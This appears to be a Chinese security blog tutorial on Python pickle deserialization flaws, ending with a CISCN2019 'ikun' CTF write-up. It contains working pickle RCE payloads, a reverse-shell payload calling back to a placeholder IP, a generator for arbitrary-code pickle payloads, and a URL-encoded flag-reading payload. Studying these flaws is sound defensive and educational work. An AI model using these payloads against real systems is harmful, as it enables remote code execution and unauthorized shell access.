浅谈python反序列化漏洞

0x01 序列化与反序列化

Python中的序列化操作是通过pickle和 cPickle 模块（操作是一样的，这里以pickle为例）：

1、dump和load与文件操作结合起来：

（1）序列化：

pickle.dump(obj, file, protocol=None,)

必填参数obj表示将要封装的对象，必填参数file表示obj要写入的文件对象，file必须以二进制可写模式打开，即wb。

（2）反序列化

pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"

必填参数file必须以二进制可读模式打开，即rb，其他都为可选参数。

（3）示例：

import pickle

data = ['aa', 'bb', 'cc']

with open("./test.pkl", "wb") as f:
    pickle.dump(data, f)

with open("./test.pkl", "rb") as ff:
    d = pickle.load(ff)

print(d)
# ['aa', 'bb', 'cc']

2、dumps与loads则不需要输出成文件，而是以字符串(py2)或字节流(py3)的形式进行转换。

（1）序列化：

pickle.dumps(obj)

（2）反序列化

pickle.loads(bytes_object)

（3）示例：

# python3
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)

d = pickle.loads(p)
print(d)

output：

b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.'  

['aa', 'bb', 'cc']

# python2
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d

output：

(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.

['aa', 'bb', 'cc']

---

0x02 PVM 操作码

要想真正的利用反序列化，我们还得从底层了解一下pickle数据的格式是什么样的。

• c：读取新的一行作为模块名module，读取下一行作为对象名object，然后将module.object压入到堆栈中。
• (：将一个标记对象插入到堆栈中。为了实现我们的目的，该指令会与t搭配使用，以产生一个元组。
• t：从堆栈中弹出对象，直到一个(被弹出，并创建一个包含弹出对象（除了(）的元组对象，并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后，该元组被压入到堆栈中。
• S：读取引号中的字符串直到换行符处，然后将它压入堆栈。
• R：将一个元组和一个可调用对象弹出堆栈，然后以该元组作为参数调用该可调用的对象，最后将结果压入到堆栈中。
• .：结束pickle

简单说来就是：

• c：以c开始的后面两行的作用类似os.system的调用，其中cos在第一行，system在第二行。
• (：相当于左括号
• t：相当于右括号
• S：表示本行的内容一个字符串
• R：执行紧靠自己左边的一个括号对（即( 和t之间）的内容
• .：代表该pickle结束

举一个例子：

cos
system
(S'whoami'
tR.

我们将上面的序列化字符串在python2下反序列化，相当于执行了os.system('whoami')

# python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."
pickle.loads(s)

---

0x03 反序列化漏洞利用

1、可能出现的地方：

• 通常在解析认证token，session的时候。现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。
• 可能将对象Pickle后存储成磁盘文件。
• 可能将对象Pickle后在网络中传输。
• 可能参数传递给程序，比如sqlmap的代码执行漏洞

2、利用方式

python中的类有一个__reduce__方法，类似与PHP中的wakeup，在反序列化的时候会自动调用。

这里注意，在python2中只有内置类才有__reduce__方法，即用class A(object)声明的类，而python3中已经默认都是内置类了，具体可参考这篇文章

而我们定义的__reduce__可以返回一个元组，这个元组包含2到5个元素，主要用到前两个参数，即一个可调用的对象，用于重建对象时调用，一个参数元素（也是元组形式），供那个可调用对象使用。

举个例子就清楚了：

import pickle
import os
class A(object):
    def __reduce__(self):
        return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

可以看到成功执行了命令：

我们再试一下反弹shell，在ubuntu上运行下列代码：

import pickle
import os
class A(object):
    def __reduce__(self):
        shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(shell,))    
a=A()
result = pickle.dumps(a)
pickle.loads(result)

在kali上监听8888端口，可以看到成功反弹shell。

pickle.loads是会解决import 问题，对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

---

0x04 任意代码执行

pickle 是不能序列化代码对象的，但是自从 python 2.6 起，Python 给我们提供了一个可以序列化code对象的模块Marshal，如下：

import pickle
import marshal
import base64

def code():
    import os
    os.system('whoami')

code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle

输出如下：

为了保证格式问题采用base64编码一下，但是我们并不能像前面那样利用__reduce__来调用，因为__reduce__是利用调用某个可调用对象(callable) 并传递参数来执行的，而我们这个函数本身就是一个 callable ，我们需要执行它，而不是将他作为某个函数的参数。

这时候就需要利用PVM操作码来进行构造了，想要这段输出的base64的内容得到执行，我们需要如下代码：

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

Python 能通过 types.FunctionTyle(func_code,globals(),'')() 来动态地创建匿名函数，所以上面的语句实际上就是：

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

最终上面的例子构造出来的PVM语句如下：

ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.

我们将他反序列化一下看看：

import pickle

s ="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
"""

pickle.loads(s)

发现成功执行了code函数里的语句：

这样我们可以用如下脚本构造payload，再根据实际情况对payload进行url编码之类的操作：

import marshal
import base64

def code():
    pass # any code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))

0x05 实例分析

CISCN2019 ikun

这题先通过逻辑漏洞修改表单的折扣来购买lv6产品，然后伪造JWT为admin拿到源码，我们直接来讲python反序列化的地方。

审计一下源码，使用的tornado框架，问题在views/Admin.py中：

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

可以看到在post方法中，使用become传参进去，并且对传进来的值进行url解码，然后反序列化，反序列化的结果通过p在前端回显了。

这里就存在一个反序列化漏洞，但是这题过滤了很多执行系统命令的函数，我看网上大多数的wp直接猜出/flag.txt然后用eval(open('/flag.txt','r').read())来读取文件了。

实际上这里可以使用commands.getoutput()来执行命令：

# coding=utf8
import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

得到：

ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

再将上面脚本的ls /改为cat /flag.txt，得到最终payload：

ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

修改become的值为上述payload即可得到flag：

---

参考链接：

http://www.polaris-lab.com/index.php/archives/178/

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/